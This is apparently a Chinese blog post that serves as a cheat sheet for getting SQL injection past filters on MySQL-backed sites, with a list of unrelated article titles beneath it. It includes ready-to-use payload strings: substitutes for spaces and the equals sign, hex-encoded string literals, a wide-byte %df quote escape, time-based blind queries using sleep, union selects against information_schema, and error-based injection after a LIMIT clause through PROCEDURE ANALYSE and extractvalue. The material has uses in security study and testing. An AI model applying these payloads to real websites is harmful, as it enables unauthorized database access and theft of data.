一、常用符号的绕过

  1、空格

1 空格代替:+ %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
2 括号绕过:常用于基于时间延迟的盲注,例如构造语句: ?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

  2、“ = ”号

使用like 、rlike 、regexp 、< 或者 > 

  3、字符串无法使用引号

可以用16进制来表示字符串:用编码转换工具转换你要的字符串,前缀 0x 即可。
例如: ?id=1%df' union select table_name from information_schema.tables where table_schema=0x666c6167('flag') %23

  4、宽字节绕过单引号转义

  在判断注入点的过程中,加单引号“ ' ”,发现被“ \ ”转义了,可以尝试宽字节注入

1 原理:由于mysql的特性,gbk是多字节编码,它用两个字节代表一个汉字,所以构造一个字节和后面的“ \ ”也就是%5c变成了一个汉字,“ ' ”就能逃逸出来了。
2 测试:在常规输入后加入 ' 发现被转义,改成加入 %df' ,若报错则可能存在宽字节注入
3 构造:用 %df 来做“ ' ”的前缀,再用常规注入手段就好了
  因为爆库爆表爆字段过程中要用到字符串,也会用到“ ' ”或“ " ”。所以还会用到上面讲的字符串16进制化的绕过方法。
例如:前面不写了+ ?id=1%df' union select 1,2,table_name from information_schema.tables where table_schema=0x666c6167('flag') limit 0,1 %23

 二、一些特殊情况

  1、Mysql注入点在limit关键字后面

  先看看MySQL的查询语法:

select
[ALL | tDISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]

  limit 关键字后面还有 procedure 和 into 关键字,into 关键字可以用来写文件,procedure可以使用默认的存储方式 analyse,构造如下,可见是报错注入。

limit 1, 1 procedure analyse(extractvalue(rand(), concat(0x3a, database())), 1);

  database 函数的位置即可执行sql其他语句

 

最新文章

  1. 关于一个新的DOM选择器querySelector
  2. zabbix监控tomcat
  3. 如何测量一个嵌入式Linux系统的功耗/power dissipation/power wastage/consumption
  4. Linux Vi的使用
  5. Binggo公开课 “CODEX创新体系”的实战演练-中关村创业大街
  6. observeMode
  7. C++中文件的操作
  8. TypeScript设计模式之单例、建造者、原型
  9. HNOI2019游记
  10. JS数据类型之String类型
  11. 【leetcode】53-MaximumSubarray
  12. Zookeeper命名服务&mdash;&mdash;生成分布式有序且唯一id
  13. [转]使用Nginx实现反向代理
  14. c++标准库中的string常用函数总结《转》
  15. WEB安全 php+mysql5注入防御(一)
  16. python remove跟pop的区别
  17. UOJ#110. 【APIO2015】Bali Sculptures
  18. 【数形结合】Erratic Expansion
  19. Python 进阶 之 map()函数
  20. SQL语句 ANSI_NULLS 值(ON|OFF)的含义

热门文章

  1. solr单机部署tomcat
  2. EOS行为核心:解析插件chain_plugin
  3. LoadRuner12.53教程(一)
  4. spring-session-data-redis解决session共享的问题
  5. C# GDI+编程之绘图
  6. 正则检查是否为IP地址
  7. linux下如何批量杀JAVA进程或某个进程方法
  8. Object与Class的区别
  9. [PHP] 算法-构建排除当前元素的乘积数组的PHP实现
  10. SVN多项目并行版本管理解决方案